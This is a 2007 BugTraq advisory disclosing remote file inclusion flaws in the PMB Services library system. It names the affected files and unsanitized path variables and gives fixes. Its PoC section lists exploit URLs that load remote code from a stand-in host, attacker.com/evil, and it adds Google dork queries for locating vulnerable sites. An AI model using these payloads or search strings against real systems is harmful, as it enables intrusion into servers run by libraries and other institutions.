BugTraq
[ECHO_ADV_68$2007] PMB Services <= 3.0.13 Multiple Remote File Inclusion Vulnerability Mar 10 2007 12:17PM
erdc echo or id
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[ECHO_ADV_68$2007] PMB Services <= 3.0.13 Multiple Remote File Inclusion Vulnerability
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Author : M.Hasran Addahroni
Date : March, 9th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv68-K-159-2007.txt
Critical Lvl : Dangerous
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : PMB Services
version : <= 3.0.13
Vendor : http://www.sigb.net/
Description :

PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.
We are some librarians, users and developers deploring this state of affairs.

PMB is based on web technology. This is what we sometimes call a 'web-app'.
PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.

The main functions of PMB are :

* Supporting the UNIMARC format
* Authorities management (authors, publishers, series, subjects...)
* Management of loans, holds, borrowers...
* A user-friendly configuration
* The ability to import full bibliographic records
* A user-friendly OPAC integrating a browser
* Loans management with a module designed to serve even the very small establishments
* Serials management
* Simple administration procedures that can be handled easily even by the library staff...

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Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at includes/resa_func.inc.php :

---------------includes/resa_func.inc.php-------------------------------
-------
<?php

// +-------------------------------------------------+

// © 2002-2004 PMB Services / www.sigb.net pmb (at) sigb (dot) net [email concealed] et contributeurs (voir www.sigb.net)

// +-------------------------------------------------+

// $Id: resa_func.inc.php,v 1.49 2006/10/31 07:59:35 touraine37 Exp $

require_once("$class_path/quotas.class.php");

...
------------------------------------------------------------------

- Invalid include function at includes/bull_info.inc.php :

--------------includes/bull_info.inc.php--------------------------------
------
<?php
// +-------------------------------------------------+
// © 2002-2004 PMB Services / www.sigb.net pmb (at) sigb (dot) net [email concealed] et contributeurs (voir www.sigb.net)
// +-------------------------------------------------+
// $Id: bull_info.inc.php,v 1.23 2006/08/29 20:33:32 touraine37 Exp $

// affichage des infos bulletin

require_once($include_path."/resa_func.inc.php");
...
--------------------------------------------------------------------

- Invalid include function at includes/misc.inc.php :

---------------includes/misc.inc.php------------------------------------
-
<?php
// +-------------------------------------------------+
// © 2002-2004 PMB Services / www.sigb.net pmb (at) sigb (dot) net [email concealed] et contributeurs (voir www.sigb.net)
// +-------------------------------------------------+
// $Id: misc.inc.php,v 1.46 2006/10/18 17:06:28 dbellamy Exp $

// ------------------------------------------------------------------------
----
// fonctions de formatage de chaîne
// ------------------------------------------------------------------------
----
// reg_diacrit : fonction pour traiter les caractères accentués en recherche avec regex

// choix de la classe ? utiliser pour envoi en pdf
if (!$fpdf) {
if ($charset != 'utf-8') $fpdf = 'FPDF'; else $fpdf = 'UFPDF';
}

require_once($include_path."/marc_tables/".$lang."/empty_words");

...
------------------------------------------------------------------

- Invalid include function at opac_css/rec_panier.php:

-------------opac_css/rec_panier.php------------------------------
<?php
// +-------------------------------------------------+
// © 2002-2004 PMB Services / www.sigb.net pmb (at) sigb (dot) net [email concealed] et contributeurs (voir www.sigb.net)
// +-------------------------------------------------+
// $Id: rec_panier.php,v 1.5 2006/12/10 10:04:10 touraine37 Exp $

require_once($base_path.'/includes/session.inc.php');

?>
-----------------------------------------------------------------

- - Invalid include function at opac_css/includes/author_see.inc.php :

--------------------opac_css/includes/author_see.inc.php----------------
--------
<?php
// +-------------------------------------------------+
// © 2002-2004 PMB Services / www.sigb.net pmb (at) sigb (dot) net [email concealed] et contributeurs (voir www.sigb.net)
// +-------------------------------------------------+
// $Id: author_see.inc.php,v 1.32 2006/12/29 16:10:04 touraine37 Exp $

// affichage du detail pour un auteur

require_once($base_path.'/includes/templates/author.tpl.php');
...
----------------------------------------------------------------

Variables $class_path $include_path and $base_path are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

also affected files :

includes/options/options_date_box.php
includes/options/options_file_box.php
includes/options/options_list.php
includes/options/options_query_list.php
includes/options/options_text.php
includes/options_empr/options.php
includes/options_empr/options_comment.php
includes/options_empr/options_date_box.php
includes/options_empr/options_list.php
includes/options_empr/options_query_list.php
includes/options_empr/options_text.php
admin/import/iimport_expl.php
admin/netbase/clean.php
admin/notices/perso.inc.php
admin/quotas/main.inc.php
admin/param/param_func.inc.php
admin/sauvegarde/lieux.inc.php
autorites.php
acount.php
cart.php
edit.php

Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[PMB_path]/includes/resa_func.inc.php?class_path=h
ttp://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/bull_info.inc.php?include_path
=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_date_box.php?i
nclude_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_file_box.php?i
nclude_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_list.php?inclu
de_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_query_list.php
?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_text.php?inclu
de_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options.php?inclu
de_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_comment.p
hp?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_date_box.
php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_list.php?
include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_query_lis
t.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_text.php?
include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/import/iimport_expl.php?include_p
ath=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/netbase/clean.php?include_path=ht
tp://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/notices/perso.inc.php?class_path=
http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/quotas/main.inc.php?class_path=ht
tp://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/param/param_func.inc.php?include_
path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/sauvegarde/lieux.inc.php?include_
path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/opac_css/rec_panier.php?base_path=http:
//attacker.com/evil?
http://www.target.com/[PMB_path]/opac_css/includes/author_see.inc.php?ba
se_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/autorites.php?include_path=http://attac
ker.com/evil?
http://www.target.com/[PMB_path]/account.php?include_path=http://attacke
r.com/evil?
http://www.target.com/[PMB_path]/cart.php?include_path=http://attacker.c
om/evil?
http://www.target.com/[PMB_path]/edit.php?include_path=http://attacker.c
om/evil?

Google Dork : " allinurl:opac_css " or "allinurl:pmb/opac_css" or "PMB opac_css"
~~~~~~~

Solution:
~~~~~~~

- Sanitize variable $class_dir $include_path and $base_path on affected files.
- Turn off register_globals

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Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl
aw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

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